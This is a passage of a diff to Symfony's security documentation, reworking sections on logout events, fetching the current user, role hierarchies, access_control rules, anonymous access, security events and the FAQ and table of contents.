+is dispatched. Register an :doc:`event listener or subscriber </event_dispatcher>`
+to run custom logic. The following information is available in the
+event class:
+
+``getToken()``
+    Returns the security token of the session that is about to be logged
+    out.
+``getRequest()``
+    Returns the current request.
+``getResponse()``
+    Returns a response, if it is already set by a custom listener. Use
+    ``setResponse()`` to configure a custom logout response.
+
+.. tip::
+
+    Every Security firewall has its own event dispatcher
+    (``security.event_dispatcher.FIREWALLNAME``). The logout event is
+    dispatched on both the global and firewall dispatcher. You can register
+    on the firewall dispatcher if you want your listener to only be
+    called for a specific firewall. For instance, if you have an ``api``
+    and ``main`` firewall, use this configuration to register only on the
+    logout event in the ``main`` firewall:
+
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            # config/services.yaml
+            services:
+                # ...
+
+                App\EventListener\CustomLogoutSubscriber:
+                    tags:
+                        - name: kernel.event_subscriber
+                          dispatcher: security.event_dispatcher.main
+
+        .. code-block:: xml
+
+            <!-- config/services.xml -->
+            <?xml version="1.0" encoding="UTF-8" ?>
+            <container xmlns="http://symfony.com/schema/dic/services"
+                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                xsi:schemaLocation="http://symfony.com/schema/dic/services
+                    https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+                <services>
+                    <!-- ... -->
+
+                    <service id="App\EventListener\CustomLogoutSubscriber">
+                        <tag name="kernel.event_subscriber"
+                             dispacher="security.event_dispatcher.main"
+                         />
+                    </service>
+                </services>
+            </container>
+
+        .. code-block:: php
+
+            // config/services.php
+            namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+            use App\EventListener\CustomLogoutListener;
+            use App\EventListener\CustomLogoutSubscriber;
+            use Symfony\Component\Security\Http\Event\LogoutEvent;
+
+            return function(ContainerConfigurator $configurator) {
+                $services = $configurator->services();
+
+                $services->set(CustomLogoutSubscriber::class)
+                    ->tag('kernel.event_subscriber', [
+                        'dispatcher' => 'security.event_dispatcher.main',
+                    ]);
+            };
+
+.. _retrieving-the-user-object:
+
+Fetching the User Object
+------------------------
+
+After authentication, the ``User`` object of the current user can be
+accessed via the ``getUser()`` shortcut in the
+:ref:`base controller <the-base-controller-class-services>`::
+
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+
+    class ProfileController extends AbstractController
+    {
+        public function index(): Response
+        {
+            // usually you'll want to make sure the user is authenticated first,
+            // see "Authorization" below
+            $this->denyAccessUnlessGranted('IS_AUTHENTICATED_FULLY');
+
+            // returns your User object, or null if the user is not authenticated
+            // use inline documentation to tell your editor your exact User class
+            /** @var \App\Entity\User $user */
+            $user = $this->getUser();
+
+            // Call whatever methods you've added to your User class
+            // For example, if you added a getFirstName() method, you can use that.
+            return new Response('Well hi there '.$user->getFirstName());
+        }
+    }
+
+Fetching the User from a Service
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you need to get the logged in user from a service, use the
+:class:`Symfony\\Component\\Security\\Core\\Security` service::
+
+    // src/Service/ExampleService.php
+    // ...
+
+    use Symfony\Component\Security\Core\Security;
+
+    class ExampleService
+    {
+        private $security;
+
+        public function __construct(Security $security)
+        {
+            // Avoid calling getUser() in the constructor: auth may not
+            // be complete yet. Instead, store the entire Security object.
+            $this->security = $security;
+        }
+
+        public function someMethod()
+        {
+            // returns User object or null if not authenticated
+            $user = $this->security->getUser();
+
+            // ...
+        }
+    }
+
+Fetch the User in a Template
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+In a Twig Template the user object is available via the ``app.user`` variable
+thanks to the :ref:`Twig global app variable <twig-app-variable>`:
+
+.. code-block:: html+twig
+
+    {% if is_granted('IS_AUTHENTICATED_FULLY') %}
+        <p>Email: {{ app.user.email }}</p>
+    {% endif %}
+
+.. _denying-access-roles-and-other-authorization:
+.. _security-access-control:
+
+Access Control (Authorization)
+------------------------------
+
+Users can now log in to your app using your login form. Great! Now, you need to learn
+how to deny access and work with the User object. This is called **authorization**,
+and its job is to decide if a user can access some resource (a URL, a model object,
+a method call, ...).
+
+The process of authorization has two different sides:
+
+#. The user receives a specific role when logging in (e.g. ``ROLE_ADMIN``).
+#. You add code so that a resource (e.g. URL, controller) requires a specific
+   "attribute" (e.g. a role like ``ROLE_ADMIN``) in order to be accessed.
+
+Roles
+~~~~~
+
+When a user logs in, Symfony calls the ``getRoles()`` method on your ``User``
+object to determine which roles this user has. In the ``User`` class that
+was generated earlier, the roles are an array that's stored in the
+database and every user is *always* given at least one role: ``ROLE_USER``::
+
+    // src/Entity/User.php
+
+    // ...
+    class User
+    {
+        /**
+         * @ORM\Column(type="json")
+         */
+        private $roles = [];
+
+        // ...
+        public function getRoles(): array
+        {
+            $roles = $this->roles;
+            // guarantee every user at least has ROLE_USER
+            $roles[] = 'ROLE_USER';
+
+            return array_unique($roles);
+        }
+    }
+
+This is a nice default, but you can do *whatever* you want to determine which roles
+a user should have. Here are a few guidelines:
+
+* Every role **must start with** ``ROLE_`` (otherwise, things won't work as expected)
+
+* Other than the above rule, a role is just a string and you can invent what you
+  need (e.g. ``ROLE_PRODUCT_ADMIN``).
+
+You'll use these roles next to grant access to specific sections of your site.
+
+.. _security-role-hierarchy:
+
+Hierarchical Roles
+..................
+
+Instead of giving many roles to each user, you can define role inheritance
+rules by creating a role hierarchy:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            role_hierarchy:
+                ROLE_ADMIN:       ROLE_USER
+                ROLE_SUPER_ADMIN: [ROLE_ADMIN, ROLE_ALLOWED_TO_SWITCH]
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <!-- ... -->
+
+                <role id="ROLE_ADMIN">ROLE_USER</role>
+                <role id="ROLE_SUPER_ADMIN">ROLE_ADMIN, ROLE_ALLOWED_TO_SWITCH</role>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ...
+
+            $security->roleHierarchy('ROLE_ADMIN', ['ROLE_USER']);
+            $security->roleHierarchy('ROLE_SUPER_ADMIN', ['ROLE_ADMIN', 'ROLE_ALLOWED_TO_SWITCH']);
+        };
+
+Users with the ``ROLE_ADMIN`` role will also have the ``ROLE_USER`` role.
+Users with ``ROLE_SUPER_ADMIN``, will automatically have ``ROLE_ADMIN``,
+``ROLE_ALLOWED_TO_SWITCH`` and ``ROLE_USER`` (inherited from
+``ROLE_ADMIN``).
+
+.. caution::
+
+    For role hierarchy to work, do not use ``$user->getRoles()`` manually.
+    For example, in a controller extending from the :ref:`base controller <the-base-controller-class-services>`::
+
+        // BAD - $user->getRoles() will not know about the role hierarchy
+        $hasAccess = in_array('ROLE_ADMIN', $user->getRoles());
+
+        // GOOD - use of the normal security methods
+        $hasAccess = $this->isGranted('ROLE_ADMIN');
+        $this->denyAccessUnlessGranted('ROLE_ADMIN');
+
+.. note::
+
+    The ``role_hierarchy`` values are static - you can't, for example, store the
+    role hierarchy in a database. If you need that, create a custom
+    :doc:`security voter </security/voters>` that looks for the user roles
+    in the database.
+
+.. _security-role-authorization:
+
+Add Code to Deny Access
+~~~~~~~~~~~~~~~~~~~~~~~
+
+There are **two** ways to deny access to something:
+
+#. :ref:`access_control in security.yaml <security-authorization-access-control>`
+   allows you to protect URL patterns (e.g. ``/admin/*``). Simpler, but less flexible;
+
+#. :ref:`in your controller (or other code) <security-securing-controller>`.
+
+.. _security-authorization-access-control:
+
+Securing URL patterns (access_control)
+......................................
+
+The most basic way to secure part of your app is to secure an entire URL pattern
+in ``security.yaml``. For example, to require ``ROLE_ADMIN`` for all URLs that
+start with ``/admin``, you can:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            firewalls:
+                # ...
+                main:
+                    # ...
+
+            access_control:
+                # require ROLE_ADMIN for /admin*
+                - { path: '^/admin', roles: ROLE_ADMIN }
+
+                # or require ROLE_ADMIN or IS_AUTHENTICATED_FULLY for /admin*
+                - { path: '^/admin', roles: [IS_AUTHENTICATED_FULLY, ROLE_ADMIN] }
+
+                # the 'path' value can be any valid regular expression
+                # (this one will match URLs like /api/post/7298 and /api/comment/528491)
+                - { path: ^/api/(post|comment)/\d+$, roles: ROLE_USER }
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <!-- ... -->
+
+                <firewall name="main">
+                    <!-- ... -->
+                </firewall>
+
+                <!-- require ROLE_ADMIN for /admin* -->
+                <rule path="^/admin" role="ROLE_ADMIN"/>
+
+                <!-- require ROLE_ADMIN or IS_AUTHENTICATED_FULLY for /admin* -->
+                <rule path="^/admin">
+                    <role>ROLE_ADMIN</role>
+                    <role>IS_AUTHENTICATED_FULLY</role>
+                </rule>
+
+                <!-- the 'path' value can be any valid regular expression
+                     (this one will match URLs like /api/post/7298 and /api/comment/528491) -->
+                <rule path="^/api/(post|comment)/\d+$" role="ROLE_USER"/>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->enableAuthenticatorManager(true);
+
+            // ...
+            $security->firewall('main')
+            // ...
+            ;
+
+            // require ROLE_ADMIN for /admin*
+            $security->accessControl()
+                ->path('^/admin')
+                ->roles(['ROLE_ADMIN']);
+
+            // require ROLE_ADMIN or IS_AUTHENTICATED_FULLY for /admin*
+            $security->accessControl()
+                ->path('^/admin')
+                ->roles(['ROLE_ADMIN', 'IS_AUTHENTICATED_FULLY']);
+
+            // the 'path' value can be any valid regular expression
+            // (this one will match URLs like /api/post/7298 and /api/comment/528491)
+            $security->accessControl()
+                ->path('^/api/(post|comment)/\d+$')
+                ->roles(['ROLE_USER']);
+        };
+
+You can define as many URL patterns as you need - each is a regular expression.
+**BUT**, only **one** will be matched per request: Symfony starts at the top of
+the list and stops when it finds the first match:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            access_control:
+                # matches /admin/users/*
+                - { path: '^/admin/users', roles: ROLE_SUPER_ADMIN }
+
+                # matches /admin/* except for anything matching the above rule
+                - { path: '^/admin', roles: ROLE_ADMIN }
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <!-- ... -->
+
+                <rule path="^/admin/users" role="ROLE_SUPER_ADMIN"/>
+                <rule path="^/admin" role="ROLE_ADMIN"/>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ...
+
+            $security->accessControl()
+                ->path('^/admin/users')
+                ->roles(['ROLE_SUPER_ADMIN']);
+
+            $security->accessControl()
+                ->path('^/admin')
+                ->roles(['ROLE_ADMIN']);
+        };
+
+Prepending the path with ``^`` means that only URLs *beginning* with the
+pattern are matched. For example, a path of ``/admin`` (without the ``^``)
+would match ``/admin/foo`` but would also match URLs like ``/foo/admin``.
+
+Each ``access_control`` can also match on IP address, hostname and HTTP methods.
+It can also be used to redirect a user to the ``https`` version of a URL pattern.
+See :doc:`/security/access_control`.
+
+.. _security-securing-controller:
+
+Securing Controllers and other Code
+...................................
+
+You can deny access from inside a controller::
+
+    // src/Controller/AdminController.php
+    // ...
+
+    public function adminDashboard(): Response
+    {
+        $this->denyAccessUnlessGranted('ROLE_ADMIN');
+
+        // or add an optional message - seen by developers
+        $this->denyAccessUnlessGranted('ROLE_ADMIN', null, 'User tried to access a page without having ROLE_ADMIN');
+    }
+
+That's it! If access is not granted, a special
+:class:`Symfony\\Component\\Security\\Core\\Exception\\AccessDeniedException`
+is thrown and no more code in your controller is called. Then, one of two things
+will happen:
+
+1) If the user isn't logged in yet, they will be asked to log in (e.g. redirected
+   to the login page).
 
-        // config/routes.php
-        use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
+2) If the user *is* logged in, but does *not* have the ``ROLE_ADMIN`` role, they'll
+   be shown the 403 access denied page (which you can
+   :ref:`customize <controller-error-pages-by-status-code>`).
 
-        return function (RoutingConfigurator $routes) {
-            $routes->add('app_logout', '/logout')
-                ->methods(['GET'])
-            ;
-        };
+.. _security-securing-controller-annotations:
 
-And that's it! By sending a user to the ``app_logout`` route (i.e. to ``/logout``)
-Symfony will un-authenticate the current user and redirect them.
+Thanks to the SensioFrameworkExtraBundle, you can also secure your controller
+using annotations:
 
-Customizing Logout
-~~~~~~~~~~~~~~~~~~
+.. code-block:: diff
 
-.. versionadded:: 5.1
+      // src/Controller/AdminController.php
+      // ...
 
-    The ``LogoutEvent`` was introduced in Symfony 5.1. Prior to this
-    version, you had to use a
-    :ref:`logout success handler <reference-security-logout-success-handler>`
-    to customize the logout.
+    + use Sensio\Bundle\FrameworkExtraBundle\Configuration\IsGranted;
 
-In some cases you need to execute extra logic upon logout (e.g. invalidate
-some tokens) or want to customize what happens after a logout. During
-logout, a :class:`Symfony\\Component\\Security\\Http\\Event\\LogoutEvent`
-is dispatched. Register an :doc:`event listener or subscriber </event_dispatcher>`
-to execute custom logic. The following information is available in the
-event class:
+    + /**
+    +  * Require ROLE_ADMIN for *every* controller method in this class.
+    +  *
+    +  * @IsGranted("ROLE_ADMIN")
+    +  */
+      class AdminController extends AbstractController
+      {
+    +     /**
+    +      * Require ROLE_ADMIN for only this controller method.
+    +      *
+    +      * @IsGranted("ROLE_ADMIN")
+    +      */
+          public function adminDashboard(): Response
+          {
+              // ...
+          }
+      }
 
-``getToken()``
-    Returns the security token of the session that is about to be logged
-    out.
-``getRequest()``
-    Returns the current request.
-``getResponse()``
-    Returns a response, if it is already set by a custom listener. Use
-    ``setResponse()`` to configure a custom logout response.
+For more information, see the `FrameworkExtraBundle documentation`_.
 
+.. _security-template:
 
-.. tip::
+Access Control in Templates
+...........................
 
-    Every Security firewall has its own event dispatcher
-    (``security.event_dispatcher.FIREWALLNAME``). The logout event is
-    dispatched on both the global and firewall dispatcher. You can register
-    on the firewall dispatcher if you want your listener to only be
-    executed for a specific firewall. For instance, if you have an ``api``
-    and ``main`` firewall, use this configuration to register only on the
-    logout event in the ``main`` firewall:
+If you want to check if the current user has a certain role, you can use
+the built-in ``is_granted()`` helper function in any Twig template:
 
-    .. configuration-block::
+.. code-block:: html+twig
 
-        .. code-block:: yaml
+    {% if is_granted('ROLE_ADMIN') %}
+        <a href="...">Delete</a>
+    {% endif %}
 
-            # config/services.yaml
-            services:
-                # ...
+.. _security-isgranted:
 
-                App\EventListener\CustomLogoutSubscriber:
-                    tags:
-                        - name: kernel.event_subscriber
-                          dispatcher: security.event_dispatcher.main
+Securing other Services
+.......................
 
-        .. code-block:: xml
+You can check access *anywhere* in your code by injecting the ``Security``
+service. For example, suppose you have a ``SalesReportManager`` service and you
+want to include extra details only for users that have a ``ROLE_SALES_ADMIN`` role:
 
-            <!-- config/services.xml -->
-            <?xml version="1.0" encoding="UTF-8" ?>
-            <container xmlns="http://symfony.com/schema/dic/services"
-                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-                xsi:schemaLocation="http://symfony.com/schema/dic/services
-                    https://symfony.com/schema/dic/services/services-1.0.xsd">
+.. code-block:: diff
 
-                <services>
-                    <!-- ... -->
+      // src/SalesReport/SalesReportManager.php
 
-                    <service id="App\EventListener\CustomLogoutSubscriber">
-                        <tag name="kernel.event_subscriber"
-                             dispacher="security.event_dispatcher.main"
-                         />
-                    </service>
-                </services>
-            </container>
+      // ...
+      use Symfony\Component\Security\Core\Exception\AccessDeniedException;
+    + use Symfony\Component\Security\Core\Security;
 
-        .. code-block:: php
+      class SalesReportManager
+      {
+    +     private $security;
 
-            // config/services.php
-            namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+    +     public function __construct(Security $security)
+    +     {
+    +         $this->security = $security;
+    +     }
 
-            use App\EventListener\CustomLogoutListener;
-            use App\EventListener\CustomLogoutSubscriber;
-            use Symfony\Component\Security\Http\Event\LogoutEvent;
+          public function generateReport()
+          {
+              $salesData = [];
 
-            return function(ContainerConfigurator $configurator) {
-                $services = $configurator->services();
+    +         if ($this->security->isGranted('ROLE_SALES_ADMIN')) {
+    +             $salesData['top_secret_numbers'] = rand();
+    +         }
 
-                $services->set(CustomLogoutSubscriber::class)
-                    ->tag('kernel.event_subscriber', [
-                        'dispatcher' => 'security.event_dispatcher.main',
-                    ]);
-            };
+              // ...
+          }
 
-.. _security-role-hierarchy:
+          // ...
+      }
 
-Hierarchical Roles
-------------------
+If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
+Symfony will automatically pass the ``security.helper`` to your service
+thanks to autowiring and the ``Security`` type-hint.
 
-Instead of giving many roles to each user, you can define role inheritance
-rules by creating a role hierarchy:
+You can also use a lower-level
+:class:`Symfony\\Component\\Security\\Core\\Authorization\\AuthorizationCheckerInterface`
+service. It does the same thing as ``Security``, but allows you to type-hint a
+more-specific interface.
+
+Allowing Unsecured Access (i.e. Anonymous Users)
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+When a visitor isn't yet logged in to your website, they are treated as
+"unauthenticated" and don't have any roles. This will block them from
+visiting your pages if you defined an ``access_control`` rule.
+
+In the ``access_control`` configuration, you can use the ``PUBLIC_ACCESS``
+security attribute to exclude some routes for unauthenticated access (e.g.
+the login page):
 
 .. configuration-block::
 
@@ -1402,16 +2335,20 @@ rules by creating a role hierarchy:
 
         # config/packages/security.yaml
         security:
+            enable_authenticator_manager: true
+
             # ...
+            access_control:
+                # allow unauthenticated users to access the login form
+                - { path: ^/admin/login, roles: PUBLIC_ACCESS }
 
-            role_hierarchy:
-                ROLE_ADMIN:       ROLE_USER
-                ROLE_SUPER_ADMIN: [ROLE_ADMIN, ROLE_ALLOWED_TO_SWITCH]
+                # but require authentication for all other admin routes
+                - { path: ^/admin, roles: ROLE_ADMIN }
 
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
+        <?xml version="1.0" encoding="UTF-8"?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -1420,56 +2357,232 @@ rules by creating a role hierarchy:
                 http://symfony.com/schema/dic/security
                 https://symfony.com/schema/dic/security/security-1.0.xsd">
 
-            <config>
+            <config enable-authenticator-manager="true">
                 <!-- ... -->
 
-                <role id="ROLE_ADMIN">ROLE_USER</role>
-                <role id="ROLE_SUPER_ADMIN">ROLE_ADMIN, ROLE_ALLOWED_TO_SWITCH</role>
+                <access-control>
+                    <!-- allow unauthenticated users to access the login form -->
+                    <rule path="^/admin/login" role="PUBLIC_ACCESS"/>
+
+                    <!-- but require authentication for all other admin routes -->
+                    <rule path="^/admin" role="ROLE_ADMIN"/>
+                </access-control>
             </config>
         </srv:container>
 
     .. code-block:: php
 
         // config/packages/security.php
+        use Symfony\Component\Security\Core\Authorization\Voter\AuthenticatedVoter;
         use Symfony\Config\SecurityConfig;
 
         return static function (SecurityConfig $security) {
-            // ...
+            $security->enableAuthenticatorManager(true);
+            // ....
 
-            $security->roleHierarchy('ROLE_ADMIN', ['ROLE_USER']);
-            $security->roleHierarchy('ROLE_SUPER_ADMIN', ['ROLE_ADMIN', 'ROLE_ALLOWED_TO_SWITCH']);
+            // allow unauthenticated users to access the login form
+            $security->accessControl()
+                ->path('^/admin/login')
+                ->roles([AuthenticatedVoter::PUBLIC_ACCESS])
+            ;
+
+            // but require authentication for all other admin routes
+            $security->accessControl()
+                ->path('^/admin')
+                ->roles(['ROLE_ADMIN'])
+            ;
         };
 
-Users with the ``ROLE_ADMIN`` role will also have the
-``ROLE_USER`` role. And users with ``ROLE_SUPER_ADMIN``, will automatically have
-``ROLE_ADMIN``, ``ROLE_ALLOWED_TO_SWITCH`` and ``ROLE_USER`` (inherited from ``ROLE_ADMIN``).
+Granting Anonymous Users Access in a Custom Voter
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-For role hierarchy to work, do not try to call ``$user->getRoles()`` manually.
-For example, in a controller extending from the :ref:`base controller <the-base-controller-class-services>`::
+.. versionadded:: 5.2
 
-    // BAD - $user->getRoles() will not know about the role hierarchy
-    $hasAccess = in_array('ROLE_ADMIN', $user->getRoles());
+    The ``NullToken`` class was introduced in Symfony 5.2.
 
-    // GOOD - use of the normal security methods
-    $hasAccess = $this->isGranted('ROLE_ADMIN');
-    $this->denyAccessUnlessGranted('ROLE_ADMIN');
+If you're using a :doc:`custom voter </security/voters>`, you can allow
+anonymous users access by checking if there is no user set on the token::
 
-.. note::
+    // src/Security/PostVoter.php
+    namespace App\Security;
 
-    The ``role_hierarchy`` values are static - you can't, for example, store the
-    role hierarchy in a database. If you need that, create a custom
-    :doc:`security voter </security/voters>` that looks for the user roles
-    in the database.
+    // ...
+    use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
+    use Symfony\Component\Security\Core\Authentication\User\UserInterface;
+    use Symfony\Component\Security\Core\Authorization\Voter\Voter;
+
+    class PostVoter extends Voter
+    {
+        // ...
+
+        protected function voteOnAttribute(string $attribute, $subject, TokenInterface $token): bool
+        {
+            // ...
+
+            if (!$token->getUser() instanceof UserInterface) {
+                // the user is not authenticated, e.g. only allow them to
+                // see public posts
+                return $subject->isPublic();
+            }
+        }
+    }
+
+Setting Individual User Permissions
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Most applications require more specific access rules. For instance, a user
+should be able to only edit their *own* comments on a blog. Voters allow you
+to write *whatever* business logic you need to determine access. Using
+these voters is similar to the role-based access checks implemented in the
+previous chapters. Read :doc:`/security/voters` to learn how to implement
+your own voter.
+
+Checking to see if a User is Logged In (IS_AUTHENTICATED_FULLY)
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you *only* want to check if a user is logged in (you don't care about roles),
+you have two options. First, if you've given *every* user ``ROLE_USER``, you can
+check for that role. Otherwise, you can use a special "attribute" in place of a
+role::
+
+    // ...
+
+    public function adminDashboard(): Response
+    {
+        $this->denyAccessUnlessGranted('IS_AUTHENTICATED_FULLY');
+
+        // ...
+    }
+
+You can use ``IS_AUTHENTICATED_FULLY`` anywhere roles are used: like
+``access_control`` or in Twig.
+
+``IS_AUTHENTICATED_FULLY`` isn't a role, but it kind of acts like one, and every
+user that has logged in will have this. Actually, there are some special attributes
+like this:
+
+* ``IS_AUTHENTICATED_REMEMBERED``: *All* logged in users have this, even
+  if they are logged in because of a "remember me cookie". Even if you don't
+  use the :doc:`remember me functionality </security/remember_me>`,
+  you can use this to check if the user is logged in.
+
+* ``IS_AUTHENTICATED_FULLY``: This is similar to ``IS_AUTHENTICATED_REMEMBERED``,
+  but stronger. Users who are logged in only because of a "remember me cookie"
+  will have ``IS_AUTHENTICATED_REMEMBERED`` but will not have ``IS_AUTHENTICATED_FULLY``.
+
+* ``IS_AUTHENTICATED_ANONYMOUSLY``: *All* users (even anonymous ones) have
+  this - this is useful when defining a list of URLs with no access restriction
+  - some details are in :doc:`/security/access_control`.
+
+* ``IS_ANONYMOUS``: *Only* anonymous users are matched by this attribute.
+
+* ``IS_REMEMBERED``: *Only* users authenticated using the
+  :doc:`remember me functionality </security/remember_me>`, (i.e. a
+  remember-me cookie).
+
+* ``IS_IMPERSONATOR``: When the current user is
+  :doc:`impersonating </security/impersonating_user>` another user in this
+  session, this attribute will match.
+
+.. versionadded:: 5.1
+
+    The ``IS_ANONYMOUS``, ``IS_REMEMBERED`` and ``IS_IMPERSONATOR``
+    attributes were introduced in Symfony 5.1.
+
+.. _user_session_refresh:
+
+Understanding how Users are Refreshed from the Session
+------------------------------------------------------
+
+At the end of every request (unless your firewall is ``stateless``), your
+``User`` object is serialized to the session. At the beginning of the next
+request, it's deserialized and then passed to your user provider to "refresh" it
+(e.g. Doctrine queries for a fresh user).
+
+Then, the two User objects (the original from the session and the refreshed User
+object) are "compared" to see if they are "equal". By default, the core
+``AbstractToken`` class compares the return values of the ``getPassword()``,
+``getSalt()`` and ``getUserIdentifier()`` methods. If any of these are different,
+your user will be logged out. This is a security measure to make sure that malicious
+users can be de-authenticated if core user data changes.
+
+However, in some cases, this process can cause unexpected authentication problems.
+If you're having problems authenticating, it could be that you *are* authenticating
+successfully, but you immediately lose authentication after the first redirect.
+
+In that case, review the serialization logic (e.g. ``SerializableInterface``) if
+you have any, to make sure that all the fields necessary are serialized.
+
+Comparing Users Manually with EquatableInterface
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Or, if you need more control over the "compare users" process, make your User class
+implement :class:`Symfony\\Component\\Security\\Core\\User\\EquatableInterface`.
+Then, your ``isEqualTo()`` method will be called when comparing users.
+
+Security Events
+---------------
+
+During the authentication process, multiple events are dispatched to
+hook into the process or customize the response sent back to the user. You
+can do this by creating an :doc:`event listener or subscriber </event_dispatcher>`
+for these events.
+
+Authentication Events
+~~~~~~~~~~~~~~~~~~~~~
+
+.. raw:: html
+
+    <object data="../_images/security/security_events.svg" type="image/svg+xml"></object>
+
+:class:`Symfony\\Component\\Security\\Http\\Event\\CheckPassportEvent`
+    Dispatched after the authenticator created the :ref:`security passport <security-passport>`.
+    Listeners of this event do the actual authentication checks (like
+    checking the passport, validating the CSRF token, etc.)
+
+:class:`Symfony\\Component\\Security\\Http\\Event\\AuthenticationTokenCreatedEvent`
+    Dispatched after the passport was validated and the authenticator
+    created the security token. This can be used in advanced use-cases
+    where you need to modify the created token (e.g. for multi factor
+    authentication).
+
+:class:`Symfony\\Component\\Security\\Http\\Event\\AuthenticationSuccessEvent`
+    Dispatched when authentication is nearing success. This is the last
+    event that can make an authentication fail by throwing an
+    ``AuthenticationException``.
+
+:class:`Symfony\\Component\\Security\\Http\\Event\\LoginSuccessEvent`
+    Dispatched after authentication was fully successful. Listeners to this
+    event can modify the response send back to the user.
+
+:class:`Symfony\\Component\\Security\\Http\\Event\\LoginFailureEvent`
+    Dispatched after an ``AuthenticationException`` was thrown during the
+    authentication. Listeners to this event can modify the error response
+    send back to the user.
+
+Other Events
+~~~~~~~~~~~~
+
+:class:`Symfony\\Component\\Security\\Http\\Event\\LogoutEvent`
+    Dispatched when a user logs out of your application. See
+    :ref:`security-logging-out`.
+
+:class:`Symfony\\Component\\Security\\Http\\Event\\TokenDeauthenticatedEvent`
+    Dispatched when a user is deauthenticated, for instance because the
+    password was changed. See :ref:`user_session_refresh`.
+
+:class:`Symfony\\Component\\Security\\Http\\Event\\SwitchUserEvent`
+    Dispatched after impersonation is completed. See
+    :doc:`/security/impersonating_user`.
 
 Frequently Asked Questions
 --------------------------
 
 **Can I have Multiple Firewalls?**
     Yes! But it's usually not necessary. Each firewall is like a separate security
-    system. And so, unless you have *very* different authentication needs, one
-    firewall usually works well. With :doc:`Guard authentication </security/guard_authentication>`,
-    you can create various, diverse ways of allowing authentication (e.g. form login,
-    API key authentication and LDAP) all under the same firewall.
+    system, being authenticated in one firewall doesn't make you authenticated in
+    another one. One firewall can have multiple diverse ways of allowing
+    authentication (e.g. form login, API key authentication and LDAP).
 
 **Can I Share Authentication Between Firewalls?**
     Yes, but only with some configuration. If you're using multiple firewalls and
@@ -1506,23 +2619,15 @@ Authentication (Identifying/Logging in the User)
 .. toctree::
     :maxdepth: 1
 
-    security/authenticator_manager
-    security/form_login_setup
-    security/reset_password
-    security/json_login_setup
-    security/guard_authentication
-    security/password_migration
-    security/auth_providers
-    security/user_provider
+    security/passwords
     security/ldap
     security/remember_me
     security/impersonating_user
     security/user_checkers
-    security/named_hashers
-    security/multiple_guard_authenticators
     security/firewall_restriction
     security/csrf
-    security/custom_authentication_provider
+    security/form_login
+    security/custom_authenticator
 
 Authorization (Denying Access)
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -1531,15 +2636,15 @@ Authorization (Denying Access)
     :maxdepth: 1
 
     security/voters
-    security/securing_services
     security/access_control
     security/access_denied_handler
-    security/acl
     security/force_https
 
 .. _`FrameworkExtraBundle documentation`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/index.html
 .. _`HWIOAuthBundle`: https://github.com/hwi/HWIOAuthBundle
